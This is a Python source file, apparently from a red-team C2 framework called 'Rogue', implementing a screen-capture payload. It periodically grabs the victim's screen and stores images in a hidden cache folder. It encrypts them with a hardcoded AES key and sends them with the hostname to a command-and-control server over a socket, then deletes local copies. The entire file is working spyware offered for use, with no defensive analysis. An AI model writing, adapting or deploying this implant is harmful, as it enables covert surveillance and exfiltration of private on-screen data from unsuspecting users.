Rogue/screenshot.py
2026-05-31 04:10:56 +00:00

177 lines
6.2 KiB
Python

#!/usr/bin/env python3
"""
PAYLOAD: Screen Capture Module
DESCRIPTION: Takes periodic screenshots and exfiltrates them to C2
AUTHOR: Rogue Red Team
VERSION: 2.0
"""
import os, sys, time, datetime, threading, socket, base64, hashlib, json
from PIL import ImageGrab
import pyautogui
from Cryptodome.Cipher import AES
class ScreenCapture:
def __init__(self, interval=30, c2_host=None, c2_port=9091, max_screenshots=100):
self.interval = interval
self.c2_host = c2_host or self.get_default_c2()
self.c2_port = c2_port
self.max_screenshots = max_screenshots
self.running = False
self.encryption_key = hashlib.sha256(b'RogueScreenCap2024').digest()
self.output_dir = os.path.expanduser("~/.cache/.rogue/screenshots")
os.makedirs(self.output_dir, exist_ok=True)
# Clear old screenshots if over limit
self.cleanup_old_screenshots()
def get_default_c2(self):
"""Get C2 host from environment or default"""
return os.environ.get('ROGUE_C2_HOST', 'localhost')
def cleanup_old_screenshots(self):
"""Remove old screenshots if exceeding max"""
try:
screenshots = sorted([f for f in os.listdir(self.output_dir) if f.startswith('screenshot_')])
if len(screenshots) > self.max_screenshots:
for i in range(len(screenshots) - self.max_screenshots):
os.remove(os.path.join(self.output_dir, screenshots[i]))
except Exception as e:
print(f"[!] Cleanup error: {e}")
def capture_screen(self):
"""Capture the current screen"""
try:
timestamp = datetime.datetime.now().strftime("%Y%m%d_%H%M%S")
filename = f"screenshot_{timestamp}.png"
filepath = os.path.join(self.output_dir, filename)
# Capture screen
screenshot = ImageGrab.grab()
screenshot.save(filepath, 'PNG', optimize=True, quality=85)
print(f"[+] Captured screen: {filename}")
return filepath
except Exception as e:
print(f"[!] Screen capture failed: {e}")
return None
def encrypt_file(self, filepath):
"""Encrypt file for exfiltration"""
try:
with open(filepath, 'rb') as f:
data = f.read()
cipher = AES.new(self.encryption_key, AES.MODE_EAX)
ciphertext, tag = cipher.encrypt_and_digest(data)
encrypted = cipher.nonce + tag + ciphertext
return base64.b64encode(encrypted).decode()
except Exception as e:
print(f"[!] Encryption failed: {e}")
return None
def exfil_screenshot(self, filepath):
"""Exfiltrate screenshot to C2"""
try:
encrypted_data = self.encrypt_file(filepath)
if not encrypted_data:
return False
metadata = {
"filename": os.path.basename(filepath),
"timestamp": datetime.datetime.now().isoformat(),
"hostname": socket.gethostname(),
"size": os.path.getsize(filepath)
}
payload = {
"metadata": metadata,
"data": encrypted_data
}
# Send to C2
s = socket.socket()
s.connect((self.c2_host, self.c2_port))
s.sendall(json.dumps(payload).encode())
s.close()
# Delete local file after successful exfiltration
os.remove(filepath)
print(f"[+] Exfiltrated screenshot to {self.c2_host}:{self.c2_port}")
return True
except Exception as e:
print(f"[!] Exfiltration failed: {e}")
return False
def capture_loop(self):
"""Main capture loop"""
while self.running:
try:
filepath = self.capture_screen()
if filepath:
# Try to exfiltrate
if not self.exfil_screenshot(filepath):
# If exfiltration fails, keep file locally
print(f"[!] Keeping screenshot locally: {filepath}")
time.sleep(self.interval)
except Exception as e:
print(f"[!] Capture loop error: {e}")
time.sleep(self.interval)
def start(self):
"""Start screen capture"""
print(f"[+] Starting screen capture every {self.interval}s")
print(f"[+] Exfiltration to {self.c2_host}:{self.c2_port}")
print(f"[+] Local storage: {self.output_dir}")
print("[+] Press Ctrl+C to stop")
self.running = True
self.capture_loop()
def stop(self):
"""Stop screen capture"""
self.running = False
print("[+] Screen capture stopped")
def rogue_integration():
"""Wrapper for Rogue C2 integration"""
import argparse
parser = argparse.ArgumentParser(description='Rogue Screen Capture')
parser.add_argument('--interval', type=int, default=30, help='Capture interval in seconds')
parser.add_argument('--c2-host', help='C2 server hostname')
parser.add_argument('--c2-port', type=int, default=9091, help='C2 server port')
parser.add_argument('--max-local', type=int, default=100, help='Maximum local screenshots to keep')
args, unknown = parser.parse_known_args()
# Check if we're being called from Rogue with arguments
if len(sys.argv) > 1 and sys.argv[1] == '--rogue-integration':
# Parse Rogue-style arguments
args.interval = 30
args.c2_host = None
args.max_local = 100
capturer = ScreenCapture(
interval=args.interval,
c2_host=args.c2_host,
c2_port=args.c2_port,
max_screenshots=args.max_local
)
try:
capturer.start()
return "[+] Screen capture started successfully"
except Exception as e:
return f"[!] Screen capture failed to start: {e}"
if __name__ == "__main__":
# When run directly, start the screen capture
capturer = ScreenCapture()
capturer.start()